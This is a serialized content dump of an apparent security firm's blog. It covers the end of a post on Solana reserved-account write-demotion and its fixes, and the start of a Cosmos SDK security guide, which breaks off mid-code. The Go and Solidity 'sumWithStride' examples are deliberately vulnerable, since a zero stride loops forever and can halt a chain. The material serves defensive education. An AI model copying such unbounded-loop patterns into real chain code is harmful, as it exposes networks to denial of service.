},[72818],{"type":28,"value":20421},{"type":23,"tag":481,"props":72820,"children":72821},{"style":943},[72822],{"type":28,"value":20426},{"type":23,"tag":481,"props":72824,"children":72825},{"style":525},[72826],{"type":28,"value":4759},{"type":23,"tag":481,"props":72828,"children":72829},{"class":483,"line":531},[72830,72834,72838],{"type":23,"tag":481,"props":72831,"children":72832},{"style":525},[72833],{"type":28,"value":20628},{"type":23,"tag":481,"props":72835,"children":72836},{"style":497},[72837],{"type":28,"value":1259},{"type":23,"tag":481,"props":72839,"children":72840},{"style":525},[72841],{"type":28,"value":17756},{"type":23,"tag":481,"props":72843,"children":72844},{"class":483,"line":567},[72845,72849,72853,72857,72861,72865,72869,72873,72877],{"type":23,"tag":481,"props":72846,"children":72847},{"style":497},[72848],{"type":28,"value":18341},{"type":23,"tag":481,"props":72850,"children":72851},{"style":508},[72852],{"type":28,"value":68879},{"type":23,"tag":481,"props":72854,"children":72855},{"style":514},[72856],{"type":28,"value":287},{"type":23,"tag":481,"props":72858,"children":72859},{"style":943},[72860],{"type":28,"value":20593},{"type":23,"tag":481,"props":72862,"children":72863},{"style":525},[72864],{"type":28,"value":20421},{"type":23,"tag":481,"props":72866,"children":72867},{"style":943},[72868],{"type":28,"value":20426},{"type":23,"tag":481,"props":72870,"children":72871},{"style":525},[72872],{"type":28,"value":588},{"type":23,"tag":481,"props":72874,"children":72875},{"style":943},[72876],{"type":28,"value":68904},{"type":23,"tag":481,"props":72878,"children":72879},{"style":525},[72880],{"type":28,"value":3615},{"type":23,"tag":481,"props":72882,"children":72883},{"class":483,"line":678},[72884],{"type":23,"tag":481,"props":72885,"children":72886},{"emptyLinePlaceholder":15},[72887],{"type":28,"value":1210},{"type":23,"tag":481,"props":72889,"children":72890},{"class":483,"line":784},[72891,72895,72899,72903,72907,72911,72915,72919,72923,72927,72931],{"type":23,"tag":481,"props":72892,"children":72893},{"style":525},[72894],{"type":28,"value":20628},{"type":23,"tag":481,"props":72896,"children":72897},{"style":497},[72898],{"type":28,"value":1259},{"type":23,"tag":481,"props":72900,"children":72901},{"style":525},[72902],{"type":28,"value":68939},{"type":23,"tag":481,"props":72904,"children":72905},{"style":514},[72906],{"type":28,"value":603},{"type":23,"tag":481,"props":72908,"children":72909},{"style":525},[72910],{"type":28,"value":68948},{"type":23,"tag":481,"props":72912,"children":72913},{"style":514},[72914],{"type":28,"value":199},{"type":23,"tag":481,"props":72916,"children":72917},{"style":525},[72918],{"type":28,"value":68957},{"type":23,"tag":481,"props":72920,"children":72921},{"style":514},[72922],{"type":28,"value":6055},{"type":23,"tag":481,"props":72924,"children":72925},{"style":525},[72926],{"type":28,"value":68879},{"type":23,"tag":481,"props":72928,"children":72929},{"style":514},[72930],{"type":28,"value":199},{"type":23,"tag":481,"props":72932,"children":72933},{"style":525},[72934],{"type":28,"value":68974},{"type":23,"tag":481,"props":72936,"children":72937},{"class":483,"line":812},[72938,72942,72946,72950,72954,72958,72962],{"type":23,"tag":481,"props":72939,"children":72940},{"style":497},[72941],{"type":28,"value":18341},{"type":23,"tag":481,"props":72943,"children":72944},{"style":508},[72945],{"type":28,"value":68948},{"type":23,"tag":481,"props":72947,"children":72948},{"style":514},[72949],{"type":28,"value":287},{"type":23,"tag":481,"props":72951,"children":72952},{"style":943},[72953],{"type":28,"value":22909},{"type":23,"tag":481,"props":72955,"children":72956},{"style":525},[72957],{"type":28,"value":20421},{"type":23,"tag":481,"props":72959,"children":72960},{"style":943},[72961],{"type":28,"value":20426},{"type":23,"tag":481,"props":72963,"children":72964},{"style":525},[72965],{"type":28,"value":3615},{"type":23,"tag":481,"props":72967,"children":72968},{"class":483,"line":825},[72969],{"type":23,"tag":481,"props":72970,"children":72971},{"emptyLinePlaceholder":15},[72972],{"type":28,"value":1210},{"type":23,"tag":481,"props":72974,"children":72975},{"class":483,"line":843},[72976,72980,72984],{"type":23,"tag":481,"props":72977,"children":72978},{"style":525},[72979],{"type":28,"value":20628},{"type":23,"tag":481,"props":72981,"children":72982},{"style":497},[72983],{"type":28,"value":1259},{"type":23,"tag":481,"props":72985,"children":72986},{"style":525},[72987],{"type":28,"value":17756},{"type":23,"tag":481,"props":72989,"children":72990},{"class":483,"line":864},[72991,72995,72999,73003,73007,73011,73015],{"type":23,"tag":481,"props":72992,"children":72993},{"style":497},[72994],{"type":28,"value":18341},{"type":23,"tag":481,"props":72996,"children":72997},{"style":508},[72998],{"type":28,"value":69047},{"type":23,"tag":481,"props":73000,"children":73001},{"style":514},[73002],{"type":28,"value":287},{"type":23,"tag":481,"props":73004,"children":73005},{"style":943},[73006],{"type":28,"value":22909},{"type":23,"tag":481,"props":73008,"children":73009},{"style":525},[73010],{"type":28,"value":20421},{"type":23,"tag":481,"props":73012,"children":73013},{"style":943},[73014],{"type":28,"value":20426},{"type":23,"tag":481,"props":73016,"children":73017},{"style":525},[73018],{"type":28,"value":3615},{"type":23,"tag":481,"props":73020,"children":73021},{"class":483,"line":873},[73022],{"type":23,"tag":481,"props":73023,"children":73024},{"emptyLinePlaceholder":15},[73025],{"type":28,"value":1210},{"type":23,"tag":481,"props":73027,"children":73028},{"class":483,"line":1125},[73029,73033,73037],{"type":23,"tag":481,"props":73030,"children":73031},{"style":525},[73032],{"type":28,"value":20628},{"type":23,"tag":481,"props":73034,"children":73035},{"style":497},[73036],{"type":28,"value":1259},{"type":23,"tag":481,"props":73038,"children":73039},{"style":525},[73040],{"type":28,"value":17756},{"type":23,"tag":481,"props":73042,"children":73043},{"class":483,"line":1142},[73044,73048,73052,73056,73060,73064,73068],{"type":23,"tag":481,"props":73045,"children":73046},{"style":497},[73047],{"type":28,"value":18341},{"type":23,"tag":481,"props":73049,"children":73050},{"style":508},[73051],{"type":28,"value":39761},{"type":23,"tag":481,"props":73053,"children":73054},{"style":514},[73055],{"type":28,"value":287},{"type":23,"tag":481,"props":73057,"children":73058},{"style":943},[73059],{"type":28,"value":20657},{"type":23,"tag":481,"props":73061,"children":73062},{"style":525},[73063],{"type":28,"value":20421},{"type":23,"tag":481,"props":73065,"children":73066},{"style":943},[73067],{"type":28,"value":20426},{"type":23,"tag":481,"props":73069,"children":73070},{"style":525},[73071],{"type":28,"value":3615},{"type":23,"tag":481,"props":73073,"children":73074},{"class":483,"line":1159},[73075],{"type":23,"tag":481,"props":73076,"children":73077},{"style":525},[73078],{"type":28,"value":1443},{"type":23,"tag":24,"props":73080,"children":73081},{},[73082,73084,73090,73092,73098],{"type":28,"value":73083},"This works fine — until one day, ",{"type":23,"tag":64,"props":73085,"children":73087},{"className":73086},[],[73088],{"type":28,"value":73089},"old_king",{"type":28,"value":73091}," is silently demoted. Suddenly, the ",{"type":23,"tag":64,"props":73093,"children":73095},{"className":73094},[],[73096],{"type":28,"value":73097},"#[account(mut)]",{"type":28,"value":73099}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":16388,"props":73101,"children":73103},{"id":73102},"real-world-example-write-demotion-with-secp256r1_program",[73104,73106],{"type":28,"value":73105},"Real-World Example: Write-Demotion with ",{"type":23,"tag":64,"props":73107,"children":73109},{"className":73108},[],[73110],{"type":28,"value":73111},"secp256r1_program",{"type":23,"tag":24,"props":73113,"children":73114},{},[73115,73117,73122],{"type":28,"value":73116},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":64,"props":73118,"children":73120},{"className":73119},[],[73121],{"type":28,"value":73111},{"type":28,"value":73123},", a precompiled program gated behind a feature flag:",{"type":23,"tag":435,"props":73125,"children":73127},{"className":475,"code":73126,"language":474,"meta":7,"style":7},"ReservedAccount::new_pending(\n secp256r1_program::id(),\n feature_set::enable_secp256r1_precompile::id(),\n)\n",[73128],{"type":23,"tag":64,"props":73129,"children":73130},{"__ignoreMap":7},[73131,73152,73172,73201],{"type":23,"tag":481,"props":73132,"children":73133},{"class":483,"line":484},[73134,73139,73143,73148],{"type":23,"tag":481,"props":73135,"children":73136},{"style":943},[73137],{"type":28,"value":73138},"ReservedAccount",{"type":23,"tag":481,"props":73140,"children":73141},{"style":514},[73142],{"type":28,"value":1006},{"type":23,"tag":481,"props":73144,"children":73145},{"style":610},[73146],{"type":28,"value":73147},"new_pending",{"type":23,"tag":481,"props":73149,"children":73150},{"style":525},[73151],{"type":28,"value":988},{"type":23,"tag":481,"props":73153,"children":73154},{"class":483,"line":351},[73155,73160,73164,73168],{"type":23,"tag":481,"props":73156,"children":73157},{"style":525},[73158],{"type":28,"value":73159}," secp256r1_program",{"type":23,"tag":481,"props":73161,"children":73162},{"style":514},[73163],{"type":28,"value":1006},{"type":23,"tag":481,"props":73165,"children":73166},{"style":610},[73167],{"type":28,"value":1011},{"type":23,"tag":481,"props":73169,"children":73170},{"style":525},[73171],{"type":28,"value":1016},{"type":23,"tag":481,"props":73173,"children":73174},{"class":483,"line":531},[73175,73180,73184,73189,73193,73197],{"type":23,"tag":481,"props":73176,"children":73177},{"style":525},[73178],{"type":28,"value":73179}," feature_set",{"type":23,"tag":481,"props":73181,"children":73182},{"style":514},[73183],{"type":28,"value":1006},{"type":23,"tag":481,"props":73185,"children":73186},{"style":525},[73187],{"type":28,"value":73188},"enable_secp256r1_precompile",{"type":23,"tag":481,"props":73190,"children":73191},{"style":514},[73192],{"type":28,"value":1006},{"type":23,"tag":481,"props":73194,"children":73195},{"style":610},[73196],{"type":28,"value":1011},{"type":23,"tag":481,"props":73198,"children":73199},{"style":525},[73200],{"type":28,"value":1016},{"type":23,"tag":481,"props":73202,"children":73203},{"class":483,"line":567},[73204],{"type":23,"tag":481,"props":73205,"children":73206},{"style":525},[73207],{"type":28,"value":675},{"type":23,"tag":24,"props":73209,"children":73210},{},[73211,73213,73218,73220,73226],{"type":28,"value":73212},"Before the ",{"type":23,"tag":64,"props":73214,"children":73216},{"className":73215},[],[73217],{"type":28,"value":73188},{"type":28,"value":73219}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":64,"props":73221,"children":73223},{"className":73222},[],[73224],{"type":28,"value":73225},"secp256r1_program::id()",{"type":28,"value":73227}," as the king in a contract.",{"type":23,"tag":24,"props":73229,"children":73230},{},[73231,73233,73238],{"type":28,"value":73232},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":64,"props":73234,"children":73236},{"className":73235},[],[73237],{"type":28,"value":73225},{"type":28,"value":73239}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":16388,"props":73241,"children":73243},{"id":73242},"fix-3-preventing-write-demotion-pitfalls",[73244],{"type":28,"value":73245},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":73247,"children":73248},{},[73249,73251,73256],{"type":28,"value":73250},"Alright, let’s try to fix this ",{"type":23,"tag":127,"props":73252,"children":73253},{},[73254],{"type":28,"value":73255},"yet another",{"type":28,"value":73257}," edge case — and hopefully close the book on it.",{"type":23,"tag":16388,"props":73259,"children":73261},{"id":73260},"attempt-1-block-known-reserved-accounts",[73262],{"type":28,"value":73263},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":73265,"children":73266},{},[73267],{"type":28,"value":73268},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":435,"props":73270,"children":73272},{"className":37879,"code":73271,"language":37881,"meta":7,"style":7}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[73273],{"type":23,"tag":64,"props":73274,"children":73275},{"__ignoreMap":7},[73276,73284],{"type":23,"tag":481,"props":73277,"children":73278},{"class":483,"line":484},[73279],{"type":23,"tag":481,"props":73280,"children":73281},{"style":525},[73282],{"type":28,"value":73283}," pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":481,"props":73285,"children":73286},{"class":483,"line":351},[73287],{"type":23,"tag":481,"props":73288,"children":73289},{"style":551},[73290],{"type":28,"value":73291},"+ assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":73293,"children":73294},{},[73295,73297,73302],{"type":28,"value":73296},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":64,"props":73298,"children":73300},{"className":73299},[],[73301],{"type":28,"value":73138},{"type":28,"value":73303}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":16388,"props":73305,"children":73307},{"id":73306},"attempt-2-use-a-pda-vault",[73308],{"type":28,"value":73309},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":73311,"children":73312},{},[73313,73315,73320],{"type":28,"value":73314},"A more future-proof fix is to avoid ",{"type":23,"tag":2875,"props":73316,"children":73317},{},[73318],{"type":28,"value":73319},"transferring lamports to arbitrary accounts",{"type":28,"value":73321}," altogether.",{"type":23,"tag":24,"props":73323,"children":73324},{},[73325],{"type":28,"value":73326},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":31,"props":73328,"children":73330},{"id":73329},"final-thoughts",[73331],{"type":28,"value":73332},"Final Thoughts",{"type":23,"tag":24,"props":73334,"children":73335},{},[73336],{"type":28,"value":73337},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":73339,"children":73340},{},[73341],{"type":28,"value":73342},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":14178,"props":73344,"children":73345},{},[73346,73351,73356],{"type":23,"tag":77,"props":73347,"children":73348},{},[73349],{"type":28,"value":73350},"It's not executable.",{"type":23,"tag":77,"props":73352,"children":73353},{},[73354],{"type":28,"value":73355},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":77,"props":73357,"children":73358},{},[73359],{"type":28,"value":73360},"It's not a reserved account.",{"type":23,"tag":24,"props":73362,"children":73363},{},[73364],{"type":28,"value":73365},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":2918,"props":73367,"children":73368},{},[73369],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":73371},[73372,73373,73374,73380],{"id":26528,"depth":351,"text":26531},{"id":68754,"depth":351,"text":68757},{"id":69861,"depth":351,"text":69864,"children":73375},[73376,73377,73379],{"id":69867,"depth":531,"text":69870},{"id":70554,"depth":531,"text":73378},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":71859,"depth":531,"text":71862},{"id":73329,"depth":351,"text":73332},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":73385,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":73386,"description":73387,"date":73388,"author":73389,"image":73390,"isFeatured":15,"onBlogPage":15,"tags":73392,"body":73395,"_type":358,"_id":87280,"_source":360,"_file":87281,"_stem":87282,"_extension":363},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":73391,"width":11111,"height":11111},"/posts/cosmos-security/title.png",[73393,73394],"cosmos-sdk","security",{"type":20,"children":73396,"toc":87258},[73397,73401,73406,73411,73417,73422,73427,73432,73693,74182,74201,74206,74211,74216,74222,74227,74262,74272,74779,74799,74812,74818,74823,74828,75069,75074,75082,75094,75456,75461,75466,75502,75511,75937,75958,75964,75984,76005,76024,76056,76068,76080,76734,76762,76771,77211,77238,77258,77263,77284,77333,77342,78574,78602,78608,78613,78618,78638,78925,78959,79140,79145,79150,79194,79203,80395,80646,80659,80665,80699,80704,80767,80772,80792,80811,80823,80842,81534,81539,81544,81572,81581,82466,82493,82499,82519,82524,82537,82711,82724,82815,82820,82828,82838,82988,82993,83013,83021,83026,83424,83436,83441,83482,83493,83513,83821,83826,84751,84763,84771,84776,85769,85774,85786,85806,85825,86739,86796,86902,86914,86919,86924,86952,86961,87187,87213,87226,87240,87244,87249,87254],{"type":23,"tag":31,"props":73398,"children":73399},{"id":26528},[73400],{"type":28,"value":26531},{"type":23,"tag":24,"props":73402,"children":73403},{},[73404],{"type":28,"value":73405},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":73407,"children":73408},{},[73409],{"type":28,"value":73410},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":31,"props":73412,"children":73414},{"id":73413},"its-loopin-time",[73415],{"type":28,"value":73416},"It's Loopin' Time",{"type":23,"tag":24,"props":73418,"children":73419},{},[73420],{"type":28,"value":73421},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":73423,"children":73424},{},[73425],{"type":28,"value":73426},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":73428,"children":73429},{},[73430],{"type":28,"value":73431},"Here is a simple example for reference:",{"type":23,"tag":435,"props":73433,"children":73435},{"code":73434,"language":2023,"meta":7,"className":2024,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[73436],{"type":23,"tag":64,"props":73437,"children":73438},{"__ignoreMap":7},[73439,73455,73472,73488,73510,73539,73560,73584,73605,73612,73633,73650,73667,73674,73686],{"type":23,"tag":481,"props":73440,"children":73441},{"class":483,"line":484},[73442,73446,73451],{"type":23,"tag":481,"props":73443,"children":73444},{"style":497},[73445],{"type":28,"value":28892},{"type":23,"tag":481,"props":73447,"children":73448},{"style":610},[73449],{"type":28,"value":73450}," sumWithStride",{"type":23,"tag":481,"props":73452,"children":73453},{"style":525},[73454],{"type":28,"value":988},{"type":23,"tag":481,"props":73456,"children":73457},{"class":483,"line":351},[73458,73463,73468],{"type":23,"tag":481,"props":73459,"children":73460},{"style":943},[73461],{"type":28,"value":73462}," uint64",{"type":23,"tag":481,"props":73464,"children":73465},{"style":508},[73466],{"type":28,"value":73467}," start",{"type":23,"tag":481,"props":73469,"children":73470},{"style":525},[73471],{"type":28,"value":1033},{"type":23,"tag":481,"props":73473,"children":73474},{"class":483,"line":531},[73475,73479,73484],{"type":23,"tag":481,"props":73476,"children":73477},{"style":943},[73478],{"type":28,"value":73462},{"type":23,"tag":481,"props":73480,"children":73481},{"style":508},[73482],{"type":28,"value":73483}," stride",{"type":23,"tag":481,"props":73485,"children":73486},{"style":525},[73487],{"type":28,"value":1033},{"type":23,"tag":481,"props":73489,"children":73490},{"class":483,"line":567},[73491,73495,73500,73505],{"type":23,"tag":481,"props":73492,"children":73493},{"style":943},[73494],{"type":28,"value":73462},{"type":23,"tag":481,"props":73496,"children":73497},{"style":525},[73498],{"type":28,"value":73499},"[] ",{"type":23,"tag":481,"props":73501,"children":73502},{"style":497},[73503],{"type":28,"value":73504},"memory",{"type":23,"tag":481,"props":73506,"children":73507},{"style":508},[73508],{"type":28,"value":73509}," arr\n",{"type":23,"tag":481,"props":73511,"children":73512},{"class":483,"line":678},[73513,73517,73521,73526,73530,73535],{"type":23,"tag":481,"props":73514,"children":73515},{"style":525},[73516],{"type":28,"value":598},{"type":23,"tag":481,"props":73518,"children":73519},{"style":497},[73520],{"type":28,"value":59203},{"type":23,"tag":481,"props":73522,"children":73523},{"style":535},[73524],{"type":28,"value":73525}," returns",{"type":23,"tag":481,"props":73527,"children":73528},{"style":525},[73529],{"type":28,"value":578},{"type":23,"tag":481,"props":73531,"children":73532},{"style":943},[73533],{"type":28,"value":73534},"uint64",{"type":23,"tag":481,"props":73536,"children":73537},{"style":525},[73538],{"type":28,"value":12292},{"type":23,"tag":481,"props":73540,"children":73541},{"class":483,"line":784},[73542,73546,73551,73555],{"type":23,"tag":481,"props":73543,"children":73544},{"style":943},[73545],{"type":28,"value":73462},{"type":23,"tag":481,"props":73547,"children":73548},{"style":525},[73549],{"type":28,"value":73550}," idx ",{"type":23,"tag":481,"props":73552,"children":73553},{"style":514},[73554],{"type":28,"value":603},{"type":23,"tag":481,"props":73556,"children":73557},{"style":525},[73558],{"type":28,"value":73559}," start;\n",{"type":23,"tag":481,"props":73561,"children":73562},{"class":483,"line":812},[73563,73567,73572,73576,73580],{"type":23,"tag":481,"props":73564,"children":73565},{"style":943},[73566],{"type":28,"value":73462},{"type":23,"tag":481,"props":73568,"children":73569},{"style":525},[73570],{"type":28,"value":73571}," sum ",{"type":23,"tag":481,"props":73573,"children":73574},{"style":514},[73575],{"type":28,"value":603},{"type":23,"tag":481,"props":73577,"children":73578},{"style":551},[73579],{"type":28,"value":554},{"type":23,"tag":481,"props":73581,"children":73582},{"style":525},[73583],{"type":28,"value":528},{"type":23,"tag":481,"props":73585,"children":73586},{"class":483,"line":825},[73587,73591,73596,73600],{"type":23,"tag":481,"props":73588,"children":73589},{"style":943},[73590],{"type":28,"value":73462},{"type":23,"tag":481,"props":73592,"children":73593},{"style":525},[73594],{"type":28,"value":73595}," end ",{"type":23,"tag":481,"props":73597,"children":73598},{"style":514},[73599],{"type":28,"value":603},{"type":23,"tag":481,"props":73601,"children":73602},{"style":525},[73603],{"type":28,"value":73604}," arr.length;\n",{"type":23,"tag":481,"props":73606,"children":73607},{"class":483,"line":843},[73608],{"type":23,"tag":481,"props":73609,"children":73610},{"emptyLinePlaceholder":15},[73611],{"type":28,"value":1210},{"type":23,"tag":481,"props":73613,"children":73614},{"class":483,"line":864},[73615,73619,73624,73628],{"type":23,"tag":481,"props":73616,"children":73617},{"style":535},[73618],{"type":28,"value":61902},{"type":23,"tag":481,"props":73620,"children":73621},{"style":525},[73622],{"type":28,"value":73623}," (idx ",{"type":23,"tag":481,"props":73625,"children":73626},{"style":514},[73627],{"type":28,"value":3282},{"type":23,"tag":481,"props":73629,"children":73630},{"style":525},[73631],{"type":28,"value":73632}," end) {\n",{"type":23,"tag":481,"props":73634,"children":73635},{"class":483,"line":873},[73636,73641,73645],{"type":23,"tag":481,"props":73637,"children":73638},{"style":525},[73639],{"type":28,"value":73640}," sum ",{"type":23,"tag":481,"props":73642,"children":73643},{"style":514},[73644],{"type":28,"value":65967},{"type":23,"tag":481,"props":73646,"children":73647},{"style":525},[73648],{"type":28,"value":73649}," arr[idx];\n",{"type":23,"tag":481,"props":73651,"children":73652},{"class":483,"line":1125},[73653,73658,73662],{"type":23,"tag":481,"props":73654,"children":73655},{"style":525},[73656],{"type":28,"value":73657}," idx ",{"type":23,"tag":481,"props":73659,"children":73660},{"style":514},[73661],{"type":28,"value":65967},{"type":23,"tag":481,"props":73663,"children":73664},{"style":525},[73665],{"type":28,"value":73666}," stride;\n",{"type":23,"tag":481,"props":73668,"children":73669},{"class":483,"line":1142},[73670],{"type":23,"tag":481,"props":73671,"children":73672},{"style":525},[73673],{"type":28,"value":879},{"type":23,"tag":481,"props":73675,"children":73676},{"class":483,"line":1159},[73677,73681],{"type":23,"tag":481,"props":73678,"children":73679},{"style":535},[73680],{"type":28,"value":14481},{"type":23,"tag":481,"props":73682,"children":73683},{"style":525},[73684],{"type":28,"value":73685}," sum;\n",{"type":23,"tag":481,"props":73687,"children":73688},{"class":483,"line":1172},[73689],{"type":23,"tag":481,"props":73690,"children":73691},{"style":525},[73692],{"type":28,"value":1443},{"type":23,"tag":435,"props":73694,"children":73698},{"code":73695,"language":73696,"meta":7,"className":73697,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[73699],{"type":23,"tag":64,"props":73700,"children":73701},{"__ignoreMap":7},[73702,73722,73735,73747,73765,73772,73779,73799,73811,73818,73825,73860,73886,73907,73936,73966,74011,74088,74124,74131,74175],{"type":23,"tag":481,"props":73703,"children":73704},{"class":483,"line":484},[73705,73709,73714,73718],{"type":23,"tag":481,"props":73706,"children":73707},{"style":497},[73708],{"type":28,"value":30272},{"type":23,"tag":481,"props":73710,"children":73711},{"style":943},[73712],{"type":28,"value":73713}," MsgSumWithStrideParams",{"type":23,"tag":481,"props":73715,"children":73716},{"style":497},[73717],{"type":28,"value":18649},{"type":23,"tag":481,"props":73719,"children":73720},{"style":525},[73721],{"type":28,"value":809},{"type":23,"tag":481,"props":73723,"children":73724},{"class":483,"line":351},[73725,73730],{"type":23,"tag":481,"props":73726,"children":73727},{"style":508},[73728],{"type":28,"value":73729}," Start",{"type":23,"tag":481,"props":73731,"children":73732},{"style":943},[73733],{"type":28,"value":73734}," uint64\n",{"type":23,"tag":481,"props":73736,"children":73737},{"class":483,"line":531},[73738,73743],{"type":23,"tag":481,"props":73739,"children":73740},{"style":508},[73741],{"type":28,"value":73742}," Stride",{"type":23,"tag":481,"props":73744,"children":73745},{"style":943},[73746],{"type":28,"value":73734},{"type":23,"tag":481,"props":73748,"children":73749},{"class":483,"line":567},[73750,73755,73760],{"type":23,"tag":481,"props":73751,"children":73752},{"style":508},[73753],{"type":28,"value":73754}," Arr",{"type":23,"tag":481,"props":73756,"children":73757},{"style":525},[73758],{"type":28,"value":73759}," []",{"type":23,"tag":481,"props":73761,"children":73762},{"style":943},[73763],{"type":28,"value":73764},"uint64\n",{"type":23,"tag":481,"props":73766,"children":73767},{"class":483,"line":678},[73768],{"type":23,"tag":481,"props":73769,"children":73770},{"style":525},[73771],{"type":28,"value":1443},{"type":23,"tag":481,"props":73773,"children":73774},{"class":483,"line":784},[73775],{"type":23,"tag":481,"props":73776,"children":73777},{"emptyLinePlaceholder":15},[73778],{"type":28,"value":1210},{"type":23,"tag":481,"props":73780,"children":73781},{"class":483,"line":812},[73782,73786,73791,73795],{"type":23,"tag":481,"props":73783,"children":73784},{"style":497},[73785],{"type":28,"value":30272},{"type":23,"tag":481,"props":73787,"children":73788},{"style":943},[73789],{"type":28,"value":73790}," MsgSumWithStrideResponse",{"type":23,"tag":481,"props":73792,"children":73793},{"style":497},[73794],{"type":28,"value":18649},{"type":23,"tag":481,"props":73796,"children":73797},{"style":525},[73798],{"type":28,"value":809},{"type":23,"tag":481,"props":73800,"children":73801},{"class":483,"line":825},[73802,73807],{"type":23,"tag":481,"props":73803,"children":73804},{"style":508},[73805],{"type":28,"value":73806}," Sum",{"type":23,"tag":481,"props":73808,"children":73809},{"style":943},[73810],{"type":28,"value":73734},{"type":23,"tag":481,"props":73812,"children":73813},{"class":483,"line":843},[73814],{"type":23,"tag":481,"props":73815,"children":73816},{"style":525},[73817],{"type":28,"value":1443},{"type":23,"tag":481,"props":73819,"children":73820},{"class":483,"line":864},[73821],{"type":23,"tag":481,"props":73822,"children":73823},{"emptyLinePlaceholder":15},[73824],{"type":28,"value":1210},{"type":23,"tag":481,"props":73826,"children":73827},{"class":483,"line":873},[73828,73833,73837,73842,73847,73851,73856],{"type":23,"tag":481,"props":73829,"children":73830},{"style":497},[73831],{"type":28,"value":73832},"func",{"type":23,"tag":481,"props":73834,"children":73835},{"style":525},[73836],{"type":28,"value":578},{"type":23,"tag":481,"props":73838,"children":73839},{"style":508},[73840],{"type":28,"value":73841},"ms ",{"type":23,"tag":481,"props":73843,"children":73844},{"style":943},[73845],{"type":28,"value":73846},"msgServer",{"type":23,"tag":481,"props":73848,"children":73849},{"style":525},[73850],{"type":28,"value":598},{"type":23,"tag":481,"props":73852,"children":73853},{"style":610},[73854],{"type":28,"value":73855},"SumWithStride",{"type":23,"tag":481,"props":73857,"children":73858},{"style":525},[73859],{"type":28,"value":988},{"type":23,"tag":481,"props":73861,"children":73862},{"class":483,"line":1125},[73863,73868,73873,73877,73882],{"type":23,"tag":481,"props":73864,"children":73865},{"style":508},[73866],{"type":28,"value":73867}," goCtx",{"type":23,"tag":481,"props":73869,"children":73870},{"style":943},[73871],{"type":28,"value":73872}," context",{"type":23,"tag":481,"props":73874,"children":73875},{"style":525},[73876],{"type":28,"value":199},{"type":23,"tag":481,"props":73878,"children":73879},{"style":943},[73880],{"type":28,"value":73881},"Context",{"type":23,"tag":481,"props":73883,"children":73884},{"style":525},[73885],{"type":28,"value":1033},{"type":23,"tag":481,"props":73887,"children":73888},{"class":483,"line":1142},[73889,73894,73898,73903],{"type":23,"tag":481,"props":73890,"children":73891},{"style":508},[73892],{"type":28,"value":73893}," 